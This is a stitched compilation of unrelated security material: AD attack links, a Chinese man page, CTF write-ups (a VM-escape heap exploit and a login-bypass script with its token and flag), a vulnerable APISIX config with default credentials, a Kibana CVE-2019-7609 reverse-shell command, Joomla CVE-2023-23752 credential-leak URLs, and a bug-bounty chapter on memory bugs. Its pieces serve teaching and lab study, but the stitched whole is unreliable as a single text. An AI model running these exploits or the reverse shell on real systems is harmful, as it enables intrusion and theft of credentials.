* [Practical guide for Golden SAML - Practical guide step by step to create golden SAML](https://nodauf.dev/p/practical-guide-for-golden-saml/)
* [Relaying to AD Certificate Services over RPC - NOVEMBER 16, 2022 - SYLVAIN HEINIGER](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)
* [I AM AD FS AND SO CAN YOU - Douglas Bienstock & Austin Baker - Mandiant](https://troopers.de/downloads/troopers19/TROOPERS19_AD_AD_FS.pdf)
* [Hunt for the gMSA secrets - Dr Nestori Syynimaa (@DrAzureAD) - August 29, 2022](https://aadinternals.com/post/gmsa/)
* [Relaying NTLM Authentication from SCCM Clients - Chris Thompson - Jun 30, 2022](https://posts.specterops.io/relaying-ntlm-authentication-from-sccm-clients-7dccb8f92867)
* [Poc’ing Beyond Domain Admin - Part 1 - cube0x0](https://cube0x0.github.io/Pocing-Beyond-DA/)
* [At the Edge of Tier Zero: The Curious Case of the RODC - Elad Shamir](https://posts.specterops.io/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc-ef5f1799ca06)
* [Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory - Sean Metcalf](https://adsecurity.org/?p=3592)
* [The Kerberos Key List Attack: The return of the Read Only Domain Controllers - Leandro Cuozzo](https://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers/)
* [Timeroasting: Attacking Trust Accounts in Active Directory - Tom Tervoort - 01 March 2023](https://www.secura.com/blog/timeroasting-attacking-trust-accounts-in-active-directory)
* [TIMEROASTING, TRUSTROASTING AND COMPUTER SPRAYING WHITE PAPER - Tom Tervoort](https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf)
* [Beyond LLMNR/NBNS Spoofing – Exploiting Active Directory-Integrated DNS - July 10, 2018 | Kevin Robertson](https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/)
* [ADIDNS Revisited – WPAD, GQBL, and More - December 5, 2018 | Kevin Robertson](https://www.netspi.com/blog/technical/network-penetration-testing/adidns-revisited/)
* [Getting in the Zone: dumping Active Directory DNS using adidnsdump - Dirk-jan Mollema](https://blog.fox-it.com/2019/04/25/getting-in-the-zone-dumping-active-directory-dns-using-adidnsdump/)
* [S4U2self abuse - TheHackerRecipes](https://www.thehacker.recipes/ad/movement/kerberos/delegations/s4u2self-abuse)
* [Abusing Kerberos S4U2self for local privilege escalation - cfalta](https://cyberstoph.org/posts/2021/06/abusing-kerberos-s4u2self-for-local-privilege-escalation/)
* [External Trusts Are Evil - 14 March 2023 - Charlie Clark (@exploitph)](https://exploit.ph/external-trusts-are-evil.html)
* [Certificates and Pwnage and Patches, Oh My! - Will Schroeder - Nov 9, 2022](https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d)
|
sec-knowleage
|
.\" Copyright (C) 2001 Andries Brouwer <aeb@cwi.nl>.
.\"
.\" Permission is granted to make and distribute verbatim copies of this
.\" manual provided the copyright notice and this permission notice are
.\" preserved on all copies.
.\"
.\" Permission is granted to copy and distribute modified versions of this
.\" manual under the conditions for verbatim copying, provided that the
.\" entire resulting derived work is distributed under the terms of a
.\" permission notice identical to this one
.\"
.\" Since the Linux kernel and libraries are constantly changing, this
.\" manual page may be incorrect or out-of-date. The author(s) assume no
.\" responsibility for errors or omissions, or for damages resulting from
.\" the use of the information contained herein. The author(s) may not
.\" have taken the same level of care in the production of this manual,
.\" which is licensed free of charge, as they might when working
.\" professionally.
.\"
.\" Formatted or processed versions of this manual, if unaccompanied by
.\" the source, must acknowledge the copyright and authors of this work.
.\"
.TH UNLOCKED_STDIO 3 2001-10-18 "" "Linux Programmer's Manual"
.SH NAME
*_unlocked \- 非锁定的标准输入输出函数
.SH "SYNOPSIS 总览"
.nf
.B #include <stdio.h>
.sp
.BI "int getc_unlocked(FILE *" stream );
.BI "int getchar_unlocked(void);"
.BI "int putc_unlocked(int " c ", FILE *" stream );
.BI "int putchar_unlocked(int " c );
.sp
.BR "#define _BSD_SOURCE" " /* or _SVID_SOURCE or _GNU_SOURCE */
.B #include <stdio.h>
.sp
.BI "void clearerr_unlocked(FILE *" stream );
.BI "int feof_unlocked(FILE *" stream );
.BI "int ferror_unlocked(FILE *" stream );
.BI "int fileno_unlocked(FILE *" stream );
.BI "int fflush_unlocked(FILE *" stream );
.BI "int fgetc_unlocked(FILE *" stream );
.BI "int fputc_unlocked(int " c ", FILE *" stream );
.BI "size_t fread_unlocked(void *" ptr ", size_t " size ", size_t " n ,
.BI " FILE *" stream );
.BI "size_t fwrite_unlocked(const void *" ptr ", size_t " size ", size_t " n ,
.BI " FILE *" stream );
.sp
.B #define _GNU_SOURCE
.B #include <stdio.h>
.sp
.BI "char *fgets_unlocked(char *" s ", int " n ", FILE *" stream );
.BI "int fputs_unlocked(const char *" s ", FILE *" stream );
.sp
.B #define _GNU_SOURCE
.B #include <wchar.h>
.sp
.BI "wint_t getwc_unlocked(FILE *" stream );
.BI "wint_t getwchar_unlocked(void);"
.BI "wint_t fgetwc_unlocked(FILE *" stream );
.BI "wint_t fputwc_unlocked(wchar_t " wc ", FILE *" stream );
.BI "wint_t putwc_unlocked(wchar_t " wc ", FILE *" stream );
.BI "wint_t putwchar_unlocked(wchar_t " wc );
.BI "wchar_t *fgetws_unlocked(wchar_t *" ws ", int " n ", FILE *" stream );
.BI "int fputws_unlocked(const wchar_t *" ws ", FILE *" stream );
.fi
.SH "DESCRIPTION 描述"
这些函数中每一个都与它没有 `_unlocked` 后缀的对应版本行为一致,但是它们不使用锁定 (它们不自行设置锁定,也不判断是否有其他函数设置的锁定) ,因此是非线程安全的。参见
.BR flockfile (3)
。
.SH "CONFORMING TO 标准参考"
下面四个函数 \fIgetc_unlocked\fP(), \fIgetchar_unlocked\fP(),
\fIputc_unlocked\fP(), \fIputchar_unlocked\fP() 包含在 POSIX.1 中。非标准的
.BR *_unlocked()
变种在少数 Unix 系统中出现,较新的 glibc 中也提供了它们。
.\" E.g., in HPUX 10.0. In HPUX 10.30 they are called obsolescent, and
.\" moved to a compatibility library.
.\" Available in HPUX 10.0: clearerr_unlocked, fclose_unlocked,
.\" feof_unlocked, ferror_unlocked, fflush_unlocked, fgets_unlocked,
.\" fgetwc_unlocked, fgetws_unlocked, fileno_unlocked, fputs_unlocked,
.\" fputwc_unlocked, fputws_unlocked, fread_unlocked, fseek_unlocked,
.\" ftell_unlocked, fwrite_unlocked, getc_unlocked, getchar_unlocked,
.\" getw_unlocked, getwc_unlocked, getwchar_unlocked, putc_unlocked,
.\" putchar_unlocked, puts_unlocked, putws_unlocked, putw_unlocked,
.\" putwc_unlocked, putwchar_unlocked, rewind_unlocked, setvbuf_unlocked,
.\" ungetc_unlocked, ungetwc_unlocked.
它们不应当被使用。
.SH "SEE ALSO 参见"
.BR flockfile (3)
|
sec-knowleage
|
# kid vm (pwn 188p, 22 solved)
> Writing a vm is the best way to teach kids to learn vm escape.
## Analysis
### Wrap-around vulnerability in the guest memory allocator
When allocating guest memory, the subroutine 006F fails to check if the new request fits into available free space.
The only check implemented is 008F, that validates pre-existing usage:
```
006F alloc_memory proc near
006F push ax
0070 push bx
0071 push cx
0072 push dx
0073 push si
0074 push di
0075 mov ax, offset aSize ; "Size:"
0078 mov bx, 5
007B call write_bytes
007E mov ax, offset requested_size
0081 mov bx, 2
0084 call read_bytes
0087 mov ax, ds:requested_size
008A cmp ax, 1000h
008D ja short error_too_big
008F mov cx, ds:free_space_offset
0093 cmp cx, 0B000h ; heap size
0097 ja short error_guest_memory_is_full
0099 mov si, word ptr ds:allocated_count
009D cmp si, 10h
00A0 jnb short error_too_many_memory
00A2 mov di, cx
00A4 add cx, 5000h ; heap start
00A8 add si, si
00AA mov ds:allocated_chunks[si], cx
00AE mov ds:allocated_sizes[si], ax
00B2 add di, ax
00B4 mov ds:free_space_offset, di
00B8 mov al, ds:allocated_count
00BB inc al
00BD mov ds:allocated_count, al
00C0 jmp short restore_registers
00C2 ; ---------------------------------------------------------------------------
00C2
00C2 error_too_big:
00C2 mov ax, offset aTooBig ; "Too big\n"
00C5 mov bx, 8
00C8 call write_bytes
00CB jmp short restore_registers
00CD ; ---------------------------------------------------------------------------
00CD
00CD error_guest_memory_is_full:
00CD mov ax, offset aGuestMemoryIsFullPl ; "Guest memory is full! Please use the ho"...
00D0 mov bx, 32h
00D3 call write_bytes
00D6 jmp short restore_registers
00D8 ; ---------------------------------------------------------------------------
00D8
00D8 error_too_many_memory:
00D8 mov ax, offset aTooManyMemory ; "Too many memory\n"
00DB mov bx, 10h
00DE call write_bytes
00E1
00E1 restore_registers:
00E1 pop di
00E2 pop si
00E3 pop dx
00E4 pop cx
00E5 pop bx
00E6 pop ax
00E7 retn
00E7 alloc_memory endp
```
This can be exploited by performing 11 allocations of 0x1000 bytes each.
At that point next allocation is at 0x5000 + 11 * 0x1000 = 0x10000, wrapping to 0 as guest operates on 16-bit registers.
This allows for overwrite of guest code.
### Use-After-Free vulnerability in the host memory allocator
When deallocating host memory, the subroutine 0000000000000C8C includes option to skip `allocated_chunks` cleanup:
```
void __fastcall free_host_memory(__int16 mode, unsigned __int16 chunk_index)
{
if ( chunk_index <= 0x10u )
{
switch ( mode )
{
case 2:
free(allocated_chunks[(unsigned __int64)chunk_index]);
allocated_chunks[(unsigned __int64)chunk_index] = 0LL;
--g_alloc_count;
break;
case 3:
free(allocated_chunks[(unsigned __int64)chunk_index]);
allocated_chunks[(unsigned __int64)chunk_index] = 0LL;
allocated_sizes[(unsigned __int64)chunk_index] = 0;
--g_alloc_count;
break;
case 1:
free(allocated_chunks[(unsigned __int64)chunk_index]);
break;
}
}
else
{
perror("Index out of bound!");
}
}
```
This option is not reachable using original guest code.
However given previous vulnerability, we can control it using following `vmcall`:
```
ax = 0x0101
bx = mode
cx = chunk_index
```
## Exploitation
1. Modify code executing in guest by exploiting wrap-around vulnerability in the guest memory allocator
The purpose is to expose host vulnerabilities via specific combinations of `vmcall` parameters, that are not reachable using original guest code.
2. Leak the address of host `libc` by exploiting use-after-free vulnerability in the host memory allocator
3. Increase `global_fast_max` by exploiting use-after-free vulnerability in the host memory allocator to corrupt the unsorted bin freelist
The purpose is to enable fastbin for the next step.
4. Allocate memory overlapping with `_IO_2_1_stdout_.vtable` by exploiting use-after-free vulnerability in the host memory allocator to corrupt the fastbin freelist
5. Overwrite `_IO_2_1_stdout_.vtable` to use new table referring `one gadget RCE`
The referred gadget is called immediately on next `putchar`.
Full exploit is attached [here](exploit.py).
|
sec-knowleage
|
#
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
conf:
listen:
host: 0.0.0.0 # `manager api` listening ip or host name
port: 9000 # `manager api` listening port
allow_list: # If we don't set any IP list, then any IP access is allowed by default.
- 0.0.0.0/0
etcd:
endpoints: # supports defining multiple etcd host addresses for an etcd cluster
- "http://etcd:2379"
authentication:
secret:
s3cr3t # secret for jwt token generation.
# NOTE: Highly recommended to modify this value to protect `manager api`.
# if it's default value, when `manager api` start, it will generate a random string to replace it.
expire_time: 3600 # jwt token expire time, in second
users: # yamllint enable rule:comments-indentation
- username: admin # username and password for login `manager api`
password: vulhub
plugins: # plugin list (sorted in alphabetical order)
- api-breaker
- authz-keycloak
- basic-auth
- batch-requests
- consumer-restriction
- cors
# - dubbo-proxy
- echo
# - error-log-logger
# - example-plugin
- fault-injection
- grpc-transcode
- hmac-auth
- http-logger
- ip-restriction
- jwt-auth
- kafka-logger
- key-auth
- limit-conn
- limit-count
- limit-req
# - log-rotate
# - node-status
- openid-connect
- prometheus
- proxy-cache
- proxy-mirror
- proxy-rewrite
- redirect
- referer-restriction
- request-id
- request-validation
- response-rewrite
- serverless-post-function
- serverless-pre-function
# - skywalking
- sls-logger
- syslog
- tcp-logger
- udp-logger
- uri-blocker
- wolf-rbac
- zipkin
- server-info
- traffic-split
|
sec-knowleage
|
# Episode 4: Challenge 2
## Description
> You are the researcher. Follow the hints, find a vulnerability in the platform.
>
> Hint: Try logging in as tin
The source code for the VRP website was attached.
<details>
<summary>Click to expand</summary>
The following sources are needed to solve the challenge. The sources included many more template files which are not relevant.
### app.js
```js
const express = require('express')
const bodyParser = require('body-parser')
const path = require('path')
const jwt = require('jsonwebtoken')
const cookieParser = require('cookie-parser')
const { engine } = require('express-handlebars')
const { getUserByUsernameAndPassword, resetPasswordByUsername } = require('./services/users')
const { setUserFromCookies, authenticate, adminsOnly } = require('./middlewares')
const { secret, flagMap } = require('./constants')
const app = express()
app.use(cookieParser())
app.use(bodyParser.urlencoded())
// Register `hbs.engine` with the Express app.
app.engine('.hbs', engine({extname: '.hbs'}))
app.set('view engine', '.hbs')
app.set('views', path.join(__dirname, 'views'))
app.use('/', setUserFromCookies)
app.use('/static', express.static('static'))
app.get('/', function (req, res, next) {
const flag = flagMap[req.user ? req.user.username : '']
return res.render('home', { user: req.user, flag })
})
app.get('/about', function (req, res, next) {
return res.render('about', { user: req.user })
})
app.get('/faq', function (req, res, next) {
return res.render('faq', { user: req.user })
})
app.get('/learn', function (req, res, next) {
return res.render('learn', { user: req.user })
})
app.get('/login', function (req, res, next) {
return res.render('login', { user: req.user })
})
app.post('/login', async function (req, res, next) {
const { username, password } = req.body
if (typeof username !== 'string') {
return res.render('login', { user: req.user, errorMessage: 'Incorrect credentials.' })
}
if (typeof password !== 'string') {
return res.render('login', { user: req.user, errorMessage: 'Incorrect credentials.' })
}
const user = await getUserByUsernameAndPassword(username, password)
if (!user) {
return res.render('login', { user: req.user, errorMessage: 'Incorrect credentials.' })
}
const token = jwt.sign({ username: user.username }, secret)
res.cookie('token', token)
return res.redirect('/')
})
app.get('/contributing', authenticate, adminsOnly, function (req, res, next) {
return res.render('contributing', { user: req.user })
})
app.get('/reset-password', function (req, res, next) {
return res.render('reset-password', { user: req.user })
})
app.post('/reset-password', async function (req, res, next) {
const { username } = req.body
const success = await resetPasswordByUsername(username)
if (success) {
return res.render('reset-password', { user: req.user, errorMessage: `Password for ${username} is resetted.` })
} else {
return res.render('reset-password', { user: req.user, errorMessage: 'Unable to reset password.' })
}
})
app.listen(1337, function () {
console.log('server is listening on port 1337')
})
```
### middleware.js
```js
const jwt = require('jsonwebtoken')
const { secret } = require('./constants')
const { getUserByUsername } = require("./services/users")
/**
* Sets the user object from cookies
* @param {object} req
* @param {object} res
* @param {function} next
*/
async function setUserFromCookies (req, res, next) {
const { token } = req.cookies
if (!token) return next()
try {
const { username } = jwt.verify(token, secret)
if (!username) throw new Error('invalid user')
const user = await getUserByUsername(username)
if (!user) throw new Error('invalid user')
req.user = user
} catch (err) {
// It is fine to send us invalid tokens... No user object will be injected in this case.
}
return next()
}
/**
* Checks if the user is authenticated
* @param {object} req
* @param {object} res
* @param {function} next
* @returns
*/
async function authenticate (req, res, next) {
if (!req.user) {
return res.render('login', { errorMessage: 'You need to sign in to access the page.' })
}
return next()
}
/**
* Checks if the user has the admin rights
* @param {object} req
* @param {object} res
* @param {function} next
* @returns
*/
async function adminsOnly (req, res, next) {
if (!req.user) {
return res.render('login', { errorMessage: 'You need to sign in to access the page.' })
}
if (!req.user.isAdmin) {
return res.render('login', { errorMessage: 'You are not authorized to perform the action.' })
}
return next()
}
module.exports = {
setUserFromCookies,
authenticate,
adminsOnly
}
```
### constants.js
```js
const crypto = require('crypto')
// the secret is used to sign cookies
const secret = crypto.randomBytes(16).toString('hex')
const flagMap = {
'don': '**REDACTED**',
'tin': '**REDACTED**'
}
module.exports = {
secret,
flagMap
}
```
### users.js
```js
const crypto = require('crypto')
const safeEqual = require('../util/safe-equal')
const users = [
{ username: 'don', hashedPassword: 'i4tUa+RTGgv+jRtyUWBXbP1i/mg=', isAdmin: true },
{ username: 'tin', hashedPassword: 'XtBEoWAkAF/UKax1SDdIHeCJbtE=' }
]
/**
* Finds a user by username.
* @param {string} username
* @returns the user if one is found.
*/
async function getUserByUsername (username) {
const user = users.find(user => user.username === username)
return user
}
/**
* Finds a user by username and password.
* @param {string} username
* @param {string} password
* @returns the user if one is found.
*/
async function getUserByUsernameAndPassword (username, password) {
const user = await getUserByUsername(username)
if (!user) return undefined
const hashedPassword = crypto.createHash('sha1').update(password).digest('base64')
if (!safeEqual(user.hashedPassword, hashedPassword)) return undefined
return user
}
/**
* Resets the password given the username.
* @param {string} username
* @returns a boolean indicating if the reset is successful
*/
async function resetPasswordByUsername (username) {
const user = await getUserByUsername(username)
if (!user) return false
// we don't allow admins to reset passwords
if (!!user.isAdmin) return false
const password = crypto.randomBytes(8).toString('hex')
const hashedPassword = crypto.createHash('sha1').update(password).digest('base64')
user.hashedPassword = hashedPassword
return true
}
module.exports = {
getUserByUsername,
getUserByUsernameAndPassword,
resetPasswordByUsername
}
```
###
```js
/**
* Checks if the given strings are identical. Runs in constant time and it
* should be invulnerable from timing attacks.
*
* Reference: https://www.chosenplaintext.ca/articles/beginners-guide-constant-time-cryptography.html
*
* @param {string} a
* @param {string} b
* @returns a boolean indicating if the strings are equal.
*/
function safeEqual(a, b) {
let match = true;
if (a.length !== b.length) {
match = false;
}
const l = a.length;
for (let i = 0; i < l; i++) {
match &&= a.indexOf(i) === b.indexOf(i);
}
return match;
}
module.exports = safeEqual
```
</details>
## Solution
This challenge is related to [Challenge 1](e04c01.md), using the same VRP site. We're supposed to log in as `tin`.
To log in, we provide a username (we'll be using `tin`) and a password. The username and password are sent to:
```js
async function getUserByUsernameAndPassword (username, password) {
const user = await getUserByUsername(username)
if (!user) return undefined
const hashedPassword = crypto.createHash('sha1').update(password).digest('base64')
if (!safeEqual(user.hashedPassword, hashedPassword)) return undefined
return user
}
```
This function hashes the password with `sha1` and encodes it as `base64`, then compares it to the expected `user.hashedPassword` as retrieved from the `user` object:
```js
const users = [
{ username: 'don', hashedPassword: 'i4tUa+RTGgv+jRtyUWBXbP1i/mg=', isAdmin: true },
{ username: 'tin', hashedPassword: 'XtBEoWAkAF/UKax1SDdIHeCJbtE=' }
]
```
The first thing we should do here is decode tin's base64-encoded hash and look for it in a reverse-hash service online. However, no results are available. How do we login then?
Well, the answer lies within the `safe-equal` module:
```js
function safeEqual(a, b) {
let match = true;
if (a.length !== b.length) {
match = false;
}
const l = a.length;
for (let i = 0; i < l; i++) {
match &&= a.indexOf(i) === b.indexOf(i);
}
return match;
}
```
It's supposed to provide a way to compare two strings in constant time, to avoid timing attacks. However, instead of looping over the character at index `i`, it's comparing `a.indexOf(i)`:
> The `indexOf()` method, given one argument: a substring to search for, searches the entire calling string, and returns the index of the first occurrence of the specified substring.
> It returns the index of the first occurrence of `searchString` found, or `-1` if not found.
This means that it is looping over `i=0..a.length` and checking that the first occurrence of `i` in both strings is the same. The strings don't have to be identical for that to be true:
```js
> const safeEqual = require("./app/util/safe-equal")
undefined
> safeEqual("foo1", "bar1")
true
> safeEqual("foo", "bar")
true
```
Now, tin's original password is encoded as `'XtBEoWAkAF/UKax1SDdIHeCJbtE='`, which means that we just have to match the `1` at offset `'XtBEoWAkAF/UKax1SDdIHeCJbtE='.indexOf(1) = 15`. But notice how the website has the ability to reset a user's password, and who knows how many times the password was reset by other participants. So, we'll just use a constant password and reset the password ourselves until we get a hit:
```python
import requests
BASE_URL = "https://vrp-website-web.h4ck.ctfcompetition.com"
def login(s, username, password):
r = s.post(f"{BASE_URL}/login", data = {"username": username, "password": password})
if "Incorrect credentials" in r.text:
return False
return True
def reset_password(s, username):
r = s.post(f"{BASE_URL}/reset-password", data = {"username": username})
if "Unable to reset password" in r.text:
return False
return True
s = requests.session()
for _ in range(100):
username = "tin"
password = "624a1156ed64d5d4"
if not reset_password(s, username):
raise RuntimeError("Can't reset password")
if login(s, username, password):
print(s.cookies.get_dict())
break
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP004/Challenge_02]
└─$ python3 login.py
{'token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRpbiIsImlhdCI6MTY2NTMzMjc0N30.swmTpk_wQtjITBQBvVEFtlJ23oAoKlx5NBtQl-VbbIY'}
```
We can now use this token to login as tin:
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP004/Challenge_02]
└─$ curl "https://vrp-website-web.h4ck.ctfcompetition.com" --cookie "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRpbiIsImlhdCI6MTY2NTMzMjc0N30.swmTpk_wQtjITBQBvVEFtlJ23oAoKlx5NBtQl-VbbIY" -s | grep solve
Here is your flag: <a href="https://h4ck1ng.google/solve/all_equals_are_equal_but_some_equals_are_more_equal_than_others" target="_blank" style="color: #222;">https://h4ck1ng.google/solve/all_equals_are_equal_but_some_equals_are_more_equal_than_others</a>.
```
|
sec-knowleage
|
# Kibana 未授权访问漏洞
## 漏洞描述
Kibana 未授权访问漏洞是指在 Kibana 未正确配置认证和授权的情况下,未经身份验证的用户可以访问 Kibana 的仪表板、数据及其他敏感信息。这种漏洞可能会导致数据泄露、攻击者控制 Kibana 环境以及其他安全威胁。
## 环境搭建
安装elasticsearch
```
cd /opt
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.5.3.tar.gz
tar -zxvf elasticsearch-6.5.3.tar.gz
cd elasticsearch-6.5.3
useradd es
chmod 777 -R /opt/elasticsearch-6.5.3
./bin/elasticsearch
```

安装kibana
```
wget https://artifacts.elastic.co/downloads/kibana/kibana-6.5.3-linux-x86_64.tar.gz
tar xvf kibana-6.5.3-linux-x86_64.tar.gz
cd kibana-6.5.3-linux-x86_64
./bin/kibana
```
浏览器访问5601端口。

## 漏洞利用
exp:https://github.com/LandGrey/CVE-2019-7609
```
[root@localhost CVE-2019-7609-master]# python CVE-2019-7609-kibana-rce.py -u 127.0.0.1:5601 -host 192.168.32.130 -port 9999 --shell
[+] http://127.0.0.1:5601 maybe exists CVE-2019-7609 (kibana < 6.6.1 RCE) vulnerability
[+] reverse shell completely! please check session on: 192.168.32.130:9999
```

|
sec-knowleage
|
# Joomla improper access check in webservice endpoints (CVE-2023-23752)
[中文版本(Chinese version)](README.zh-cn.md)
Joomla is a free and open-source content management system (CMS) that allows users to build websites and online applications. It was first released in 2005 and has since become one of the most popular CMS platforms, powering millions of websites around the world.
An issue was discovered in Joomla! 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints.
References:
- <https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html>
- <https://xz.aliyun.com/t/12175>
- <https://vulncheck.com/blog/joomla-for-rce>
## Vulnerable Environment
Execute following command to start a Joomla site 4.2.7:
```
docker compose up -d
```
You can access the Joomla website through `http://your-ip:8080` after the server is started.
## Exploit
This issue is caused by an attribute overwrite issue, the attacker can use `public=true` to bypass the authorization check.
For example, expose all configuration including MySQL username and password through this link:
```
http://your-ip:8080/api/index.php/v1/config/application?public=true
```

Otherwise access is unauthorized without `public=true`:

Expose all users information including emails through this link:
```
http://your-ip:8080/api/index.php/v1/users?public=true
```

|
sec-knowleage
|
# 十八、内存
> 作者:Peter Yaworski
> 译者:[飞龙](https://github.com/)
> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
## 描述
缓冲区溢出是一个场景,其中程序向缓冲区或内容区域写入数据,写入的数据比实际分配的区域要多。使用冰格来考虑的话,你可能拥有 12 个空间,但是只想要创建 10 个。在填充格子的时候,你添加了过多的水,填充了 11 个位置而不是 10 个。你就溢出了冰格的缓存区。
缓冲区溢出在最好情况下,会导致古怪的程序行为,最坏情况下,会产生严重的安全漏洞。这里的原因是,使用缓冲区移除,漏洞程序就开始使用非预期数据覆盖安全数据,之后会调用它们。如果这些发生了,覆盖的代码会是和程序的预期完全不同的东西,这会产生错误。或者,恶意用户能够使用移除来写入并执行恶意代码。
这里是来自 Apple 的一个图片:

这里第一个例子展示了可能的缓冲区溢出。`strcpy`接受字符串`Larger`,并将其写入到内存,无论分配的可用空间(白色格子),以及将其写入非预期的内容中(红色格子)。
### 越界读取
除了越过分配的内容写入数据之外,另一个漏洞时越过内容边界读取数据。这是一类缓冲区溢出,因为内容被越界读取,这是缓存区不允许的。
越界读取数据漏洞的一个著名的近期示例,是 OpenSSL Heartbleed 漏洞,在 2014 年 4 月发现。在发现的时候,大约 17%(500K)的互联网安全服务器,由可信授权机构颁发证书,被认为存在此漏洞。
Heartbleed 可以利用来盗取服务器的私钥,回话数据,密码,以及其他。它通过向服务器发送“Heatbleed 请求”消息来执行,服务器会向请求者发送相同信息。消息包含长度参数。那些漏洞服务器会基于长度参数为消息分配内存,而不验证消息的真实大小。
因此,Heartbleed 消息通过发送小型消息以及较大的长度参数来利用,存在漏洞的接受者会读取额外数据,这超出了为消息分配的内存长度。这里是来自维基百科的图片:

虽然缓冲区溢出需要更详细的分析,读取越界和 Heartbleed 超出了本书的范围。如果你对它们感兴趣,这里是一些不错的资源:
+ [Apple 的文档](https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.html)
+ [维基百科:缓冲区溢出词条](https://en.wikipedia.org/wiki/Buffer_overflow)
+ [维基百科:NOP 垫](https://en.wikipedia.org/wiki/NOP_slide)
+ [OWASP:缓冲区溢出](https://www.owasp.org/index.php/Buffer_Overflow)
+ [`heartbleed.com`](http://heartbleed.com)
### 内存截断
内存截断是一种技巧,用于通过使代码执行一些不常见或者非预期的行为,来发现漏洞。它的效果类似于缓冲区溢出,其中内容在不该暴露的时候暴露了。
一个例子是空字节注入。这发生在提供了空字节`%00`或者十六进制的`0x00`,并导致接收程序的非预期行为时。在 C/C++,或低级编程语言中,空字节表示字符串的末尾,或者字符串的终止符。这可以告诉程序来立即停止字符串的处理,空字节之后的字节就被忽略了。
当代码依赖字符串长度时,它的影响力十分巨大。如果读取了空字节,并停止了处理,长度为 10 的字符串就只剩 5 了。例如:
```
thisis%00mystring
```
这个字符串的长度应该为 15,暗示如果字符串以空字节终止,它的长度为 6。这对于管理自己的内存的低级语言是有问题的。
现在,对于 Web 应用,当 Web 应用和库、外部 API 以及其它用 C 写成的东西交互的时候,这就有关系了。向 URL 传入`%00`可能使攻击者操作更广泛服务器环境中的 Web 资源。尤其是当编程语言存在问题的时候,例如 PHP,它是使用 C 语言编写的。
> OWASP 链接
> 查看 [OWASP 缓冲区溢出](https://www.owasp.org/index.php/Buffer_Overflows),[OWASP 为缓冲区覆盖和溢出复查代码](https://www.owasp.org/index.php/Reviewing_Code_for_Buffer_Overruns_and_Overflows),[OWASP 检测缓冲区溢出](https://www.owasp.org/index.php/Testing_for_Buffer_Overflow),[OWASP 检测堆溢出](https://www.owasp.org/index.php/Testing_for_Heap_Overflow),[OWASP 检测栈溢出](https://www.owasp.org/index.php/Testing_for_Stack_Overflow),[OWASP 嵌入空字符](https://www.owasp.org/index.php/Embedding_Null_Code)。
## 示例
### 1\. PHP`ftp_genlist()`
难度:高
URL:无
报告链接:`https://bugs.php.net/bug.php?id=69545`
报告日期:2015.5.12
奖金:$500
描述:
PHP 编程语言使用 C 语言写成,C 语言自己管理内存。像上面描述的那样,缓冲区溢出允许恶意用户写入应该为不可访问的内存,并可能执行远程代码。
这里,FTP 扩展 的`ftp_genlist()`函数允许溢出,或者发送多于 ~4293MB 的数据,它们会被写入到临时文件中。
这使得分配的缓冲区太小,而不能存放写入临时文件的数据,在将文件内容加载回内存时,这会造成堆溢出。
> 重要结论
> 缓冲区溢出是非常古老,知名的漏洞,但是在处理自己管理内存的应用时,还是很普遍的,特别是 C 和 C++。如果你发现,你正在处理基于 C 语言(PHP 用它编写)的 Web 应用,缓冲区溢出是一个明显的可能性。但是,如果你刚起步,可能你值得花费更多时间,来寻找和漏洞相关的简单注入,在更有经验时,再返回到缓冲区溢出。
### 2\. Python Hotshot 模块
难度:高
URL:无
报告链接:`http://bugs.python.org/issue24481`
报告日期:2015.7.20
奖金:$500
描述:
像 PHP 一样,Python 编程语言也是用 C 编写的,它在之前提到过,自己管理内存。Python Hotshot 模块是一个现有 profile 模块的替代品,并且几乎都是用 C 编写,比现有的 profile 模块产生一些更微小的性能影响。但是 2015 年 7 月,该模块中发现了缓冲区溢出漏洞,和尝试将字符串从一个内容位置复制到另一个的代码有关。
本质上,这个漏洞的代码叫做`memcpy`方法,它将内容从一个地方复制到另一个地址,接受要复制的字节数。像这样:
```c
memcpy(self->buffer + self->index, s, len);
```
这个方法接受 3 个参数,`str`,`str2`和`n`。`str`是目标,`str2`是要复制的来源,`n`是要复制的字节数。这里,它们对应`self->buffer + self->index`,`s`和`len`。
这里,漏洞实际上是,`self->buffer`总是固定长度的,但是`s`可以为任意长度。
因此,在执行`copy`函数时(就像上面的 Apple 图表那样),`memcpy`函数忽视了目标区域的真实大小,因此造成了溢出。
> 重要结论
> 我们现在查看了两个函数的例子,它们的不正确实现都收到了缓冲区溢出的影响,`memcpy`和`strcpy`。如果我们知道某个站点或者应用依赖 C 或者 C++,我们就可以遍历还语言的源代码库(使用类似`grep`的东西),来寻找不正确的实现。
> 关键是寻找这样的实现,它向二者之一传递固定长度的变量作为第三个函数,对应被分配的数据长度,在数据复制时,它实际上是变量的长度。
> 但是,像之前提到的那样,如果你刚刚起步,可能你需要放弃搜索这些类型的漏洞,等你更熟悉白帽子渗透时再回来。
